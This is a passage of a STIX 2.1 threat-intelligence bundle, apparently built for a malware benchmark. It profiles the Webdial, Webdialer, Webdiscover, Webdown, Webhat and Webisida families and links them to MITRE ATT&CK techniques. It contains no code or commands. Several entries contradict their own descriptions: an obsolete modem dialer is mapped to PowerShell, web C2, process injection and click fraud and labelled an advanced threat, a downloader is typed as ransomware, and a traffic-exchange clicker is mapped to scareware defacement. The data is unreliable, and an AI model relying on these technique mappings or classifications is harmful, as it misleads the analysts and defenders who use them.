      "description": "<h3>Executive Summary</h3>\nWebdial is a classic example of legacy malware classified as a \"Dialer.\" Highly prevalent during the era of dial-up internet access, Dialers were designed to hijack a computer's modem. Without the user's consent or knowledge, they would disconnect the active internet connection and automatically silently dial an expensive, international, or premium-rate toll number controlled by the attackers, resulting in massive, unexpected telephone bills for the victim.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWebdial was frequently distributed via deceptive websites (often adult content or \"free software\" portals). Users would be prompted to download a \"special access viewer\" or a required \"codec\" to view the site's content, which was actually the malicious dialer executable.\n\nUpon execution, the Dialer operated through direct hardware manipulation:\n<ul>\n<li><strong>Modem Hijacking:</strong> The malware altered the Windows Dial-Up Networking (DUN) configurations. It suppressed the modem's speaker volume (to prevent the user from hearing the dialing tones) and changed the default dial-up connection number.</li>\n<li><strong>Toll Fraud:</strong> The dialer would forcefully disconnect the user's local ISP and redial a premium-rate number (often starting with 1-900 or international country codes). The operators of the malware received a cut of the exorbitant per-minute charges levied by the telephone company.</li>\n<li><strong>Persistence:</strong> Webdial often placed shortcuts in the Windows Startup folder and modified Registry Run keys to ensure it re-dialed the premium number every time the computer booted.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nIn modern enterprise and consumer environments that utilize broadband (Cable, Fiber, DSL), Webdial and other traditional dialers are entirely obsolete and physically incapable of functioning, as broadband connections do not \"dial\" phone numbers over analog lines. However, they remain a historically significant example of early financially motivated cybercrime.\n\n<h3>Historical Remediation</h3>\n<ul>\n<li><strong>Connection Termination:</strong> The immediate response required physically unplugging the telephone line from the computer's modem to halt the expensive call.</li>\n<li><strong>DUN Reconfiguration:</strong> Remediation involved removing the malicious executable and manually reviewing and deleting the unauthorized connections created within the Windows Dial-Up Networking control panel.</li>\n<li><strong>Financial Dispute:</strong> Victims often had to undergo a lengthy dispute process with their local telephone provider to have the fraudulent, premium-rate charges removed from their monthly bills.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Dialer.Webdial",
        "Trojan.Dialer",
        "Win32/Dialer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webdial",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webdial"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb61d911-0fcf-5173-bca3-8dc30ae55abd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1499 (Endpoint Denial of Service (Consuming resources via invisible ad loading and click fraud))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--7ff4c936-aab7-53c0-b3f6-8977b747c60e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1132: Data Encoding",
      "description": "MITRE ATT&CK Technique T1132 (Data Encoding) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1132",
          "url": "https://attack.mitre.org/techniques/T1132/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6dd1179-0f0f-58ed-b819-72955402d9ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--7ff4c936-aab7-53c0-b3f6-8977b747c60e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1132 (Data Encoding)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef6ac31f-584d-50cb-af46-e131bf724fb5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f26b81f3-07bd-573b-894c-4f661af996f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d59a8566-a852-54da-88ac-3af2d76258f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3cb54dd7-3a54-55b2-acb3-60958fd85a25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68471f82-65eb-5100-a7cb-2e19e6b3adf5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdial exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea499e1e-0ad7-592e-871c-6af80041e9ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webdialer",
      "description": "Dialer:Win32/Webdialer is a historical classification for a type of malware prevalent during the era of dial-up internet access. Its primary objective was financial fraud. The malware would silently disconnect the user's modem from their standard Internet Service Provider (ISP) and re-dial a premium-rate telephone number (often international), resulting in massive, unexpected charges on the victim's phone bill (`T1499`).<br><br><b>Understanding Webdialer (Premium Rate Dialers)</b><br>To an end-user, the infection was often discovered only when the phone bill arrived. While modern broadband (cable, fiber) makes traditional modem dialers largely obsolete on PCs, the concept survives in mobile malware (apps that silently send premium SMS messages). For a historical security context, Webdialer represents one of the earliest forms of direct monetization by malware authors.<br><br><b>Execution and Fraud Mechanics</b><br>Webdialers were frequently distributed via deceptive websites (often adult content or 'free software' sites). Users would be prompted to download a special 'viewer' or 'access tool'. Once executed, the malware would alter the Windows Dial-Up Networking (DUN) settings. It would drop the current connection, mute the modem speaker (to hide the dialing sounds), and establish a new connection to a hardcoded premium-rate number. The attackers controlled these numbers and received a payout from the telecom provider for the connection time.<br><br><b>Indicators of Compromise & Impact</b><br>The impact was purely financial extortion via the telecom billing system. Host-based IoCs included the creation of new, unauthorized Dial-Up Networking connections in the Windows Control Panel, modifications to modem configuration strings (e.g., `ATM0` to mute the speaker), and unexpected executables establishing persistence via the Registry Run keys. Network IoCs were physical: the phone line being tied up dialing international numbers. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webdialer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webdialer"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac8f0fa5-f3be-5e7d-b563-79b9186a30e9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea499e1e-0ad7-592e-871c-6af80041e9ea",
      "target_ref": "attack-pattern--2c2773c7-b889-5fa0-bba3-120ba4e8c2e8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdialer exhibits technique T1499 (Endpoint Denial of Service (Hijacking the modem connection for financial gain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49f74df1-29f3-55aa-9447-d475493a8995",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea499e1e-0ad7-592e-871c-6af80041e9ea",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdialer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Muting the modem speaker to hide the dialing action))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e004b884-b638-5a07-aa1a-e017e3ec5598",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea499e1e-0ad7-592e-871c-6af80041e9ea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdialer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76cc1b92-b9e4-5abd-86ab-99921a15aeb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webdiscover",
      "description": "Adware:Win32/Webdiscover is a highly persistent, intrusive Potentially Unwanted Program (PUP) and **Browser Hijacker** that specifically manifests as an unremovable search bar anchored to the top of the Windows desktop. While it brands itself as a convenient Chromium-based search tool, its true purpose is to forcibly hijack user search traffic, inject advertisements, and generate illicit affiliate revenue for its creators.<br><br><b>Understanding Webdiscover</b><br>To an end-user, Webdiscover is extremely frustrating. It overlays a persistent search bar on the desktop that cannot be closed through normal UI methods, and it forcibly changes the default search engine in all installed browsers (Chrome, Edge, Firefox). For a security team, it represents a breakdown in endpoint hygiene and a vector for privacy violations, as every search query is logged and routed through adware tracking infrastructure.<br><br><b>Execution and Hijacking Mechanics</b><br>Webdiscover is heavily distributed via deceptive software bundles or fake updates (like fake Flash or Java installers) (`T1189`). Upon execution with administrative privileges (`T1204.002`), it establishes deep persistence. It installs a system service (`T1543.003`) and modifies the Registry Run keys (`T1547.001`) to ensure the desktop search bar launches immediately upon boot. It aggressively modifies browser configuration files, shortcut properties (`T1546`), and installs persistent browser extensions (`T1176`). To protect itself, Webdiscover often includes watchdog processes that actively monitor for attempts to uninstall it or revert browser settings, immediately reinstating the hijacked configuration if tampering is detected (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a degraded user experience, resource consumption, and privacy loss. Host-based IoCs include EDR alerts for the presence of the `WebDiscoverBrowser.exe` process, the creation of a 'WebDiscover' folder in `Program Files`, and unexpected modifications to browser shortcut targets (appending the adware's URL). Network IoCs include DNS queries resolving to the Webdiscover backend (often `search.webdiscoverbrowser.com` or similar tracking domains) and all web search traffic being forcibly redirected through affiliate links. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webdiscover",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webdiscover"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6e84e59-f7b9-5bda-8409-03e436393b96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76cc1b92-b9e4-5abd-86ab-99921a15aeb9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdiscover exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2e8f929-fb1b-5cb6-adf1-a5461976ccf5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76cc1b92-b9e4-5abd-86ab-99921a15aeb9",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdiscover exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/hijackers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3f745ce-e14b-5139-91ca-29dc85778a80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76cc1b92-b9e4-5abd-86ab-99921a15aeb9",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdiscover exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Reverting browser setting changes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a5915e0-a60d-537b-8aff-e92b69233ff5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76cc1b92-b9e4-5abd-86ab-99921a15aeb9",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdiscover exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d6a018ca-1bfb-55bb-b83e-03f1cd0521af",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webdown",
      "description": "TrojanDownloader:Win32/Webdown is a generic heuristic detection used by antivirus engines to identify malicious scripts or small executable stubs whose sole purpose is to connect to the internet, download a larger, secondary payload, and execute it. It is a fundamental component of the 'dropper' or 'stager' phase of modern malware attacks.<br><br><b>Understanding Webdown Heuristics</b><br>To an end-user, a Webdown execution is usually invisible. For a security analyst, a Webdown alert indicates the earliest phase of a cyberattack. Threat actors prefer to use tiny, easily obfuscated Webdown stagers rather than sending their massive, multi-megabyte ransomware or banking trojans directly via email. The stager slips past email filters, and once executed, securely fetches the real weapon from a remote server.<br><br><b>Execution and Staging Mechanics</b><br>Webdown threats are typically distributed as malicious macros embedded in Office documents (Spearphishing) (`T1566.001`), or as JavaScript/VBScript files hidden inside ZIP archives. When the user opens the file and enables content, the script executes (`T1059`). A classic Webdown VBScript will utilize the `XMLHTTP` object or PowerShell's `Invoke-WebRequest` to quietly reach out to a hardcoded URL (`T1105`). It downloads the secondary payload (often saving it to `%Temp%` with a randomized name) and then immediately executes it using `WScript.Shell` or `Start-Process` (`T1204.002`). The Webdown script itself usually does not establish persistence; its job is done once the secondary payload is running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the secondary payload (which could be anything from a botnet agent to a ransomware encryptor). Incident responders should focus on EDR logs showing native scripting engines (`wscript.exe`, `powershell.exe`, `cmd.exe`) making anomalous outbound network connections, followed immediately by the creation and execution of a new binary file in a temporary directory. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webdown",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webdown"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d622c100-82fb-5902-bd9d-fc7454d86bdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a018ca-1bfb-55bb-b83e-03f1cd0521af",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdown exhibits technique T1105 (Ingress Tool Transfer (Downloading the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66740a5c-546d-55f7-a54d-c60f3f6ff94b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a018ca-1bfb-55bb-b83e-03f1cd0521af",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdown exhibits technique T1059 (Command and Scripting Interpreter (Executing the stager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b133f7d3-bb2a-5626-b543-18379a547047",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a018ca-1bfb-55bb-b83e-03f1cd0521af",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdown exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--015a5358-8fb3-579c-b91b-26e75a38876d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d6a018ca-1bfb-55bb-b83e-03f1cd0521af",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webdown exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webhat",
      "description": "Trojan:Win32/Webhat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Webhat</b><br>To an end-user, a Webhat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Webhat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Webhat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Webhat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Webhat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webhat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webhat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d560a2f-f93c-57c1-8a14-21d27c1482ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webhat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8c40d89-0c47-58c8-aea0-4bd8fbdf5727",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webhat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d07b08df-8c97-5f0d-846e-58b3b6a98413",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webhat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33ba49d0-cb64-5b44-bbb4-c2de996992bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webhat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--490181ee-07de-5d89-8563-1bc8923b555e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d969bae3-ad84-5f22-baa5-443c32413ac3",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webhat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Webisida",
      "description": "<h3>Executive Summary</h3>\nWebisida is an automated web surfing and traffic exchange application widely classified by enterprise security vendors as Riskware, a Potentially Unwanted Program (PUP), or a \"Clicker.\" While users may intentionally install it to \"earn credits\" by automatically visiting websites, its behavior perfectly mimics a botnet client designed for click fraud, artificial traffic inflation, and SEO manipulation. The software silently navigates the web in the background, consuming corporate bandwidth and exposing the endpoint to malicious web content.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nWebisida is typically downloaded intentionally by users participating in traffic exchange networks, though it can also be silently bundled with other freeware applications.\n\nUpon execution, it acts as an automated, headless browser:\n<ul>\n<li><strong>Automated Surfing (Click Fraud):</strong> The core function of Webisida is to receive a list of URLs from a centralized server and automatically navigate to them in a hidden browser window. This is used to artificially inflate view counts, manipulate search engine rankings, and click on advertisements (click fraud).</li>\n<li><strong>Bandwidth Consumption:</strong> The constant background downloading of web pages, video ads, and scripts consumes significant network bandwidth, which can severely impact network performance in a corporate environment.</li>\n<li><strong>Drive-By Download Risk:</strong> Because the application automatically navigates to unvetted, often low-reputation websites provided by the traffic exchange network, it heavily exposes the endpoint to \"drive-by downloads\" and exploit kits hosted on those sites, completely bypassing user discretion.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe presence of Webisida in a corporate environment is a significant compliance and security violation. It wastes corporate network resources on click fraud schemes and drastically increases the attack surface of the endpoint by constantly interacting with untrusted web domains.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Automated Removal (Application Control):</strong> Utilize enterprise endpoint management tools (like SCCM, Intune, or Application Whitelisting) to automatically uninstall the Webisida client across the network and block its future execution.</li>\n<li><strong>Network Egress Review:</strong> Review firewall and DNS logs for the infected endpoint. High volumes of traffic to unknown, constantly rotating domains, or connections to known traffic exchange C2 servers, will confirm the clicker activity.</li>\n<li><strong>User Education:</strong> If the software was installed intentionally, IT must educate the user on the security risks of participating in automated traffic exchange networks and enforce Acceptable Use Policies (AUP).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Webisida",
        "PUP.TrafficExchange",
        "Clicker.Webisida",
        "Tool.AutoSurf"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Webisida",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/webisida"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59a6447e-ae93-51fd-8345-05a361d53c06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89b6beea-53eb-5661-a899-be9b92fb154c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--140b249a-411a-5612-8072-a0385de19103",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79adc1da-d544-5e53-8e1e-31b4f0195704",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f5ca57f-6f02-59f6-bb70-c189dc0af8d7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Webisida exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa64bb02-02d1-537f-9c04-6b2d51ab1d3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
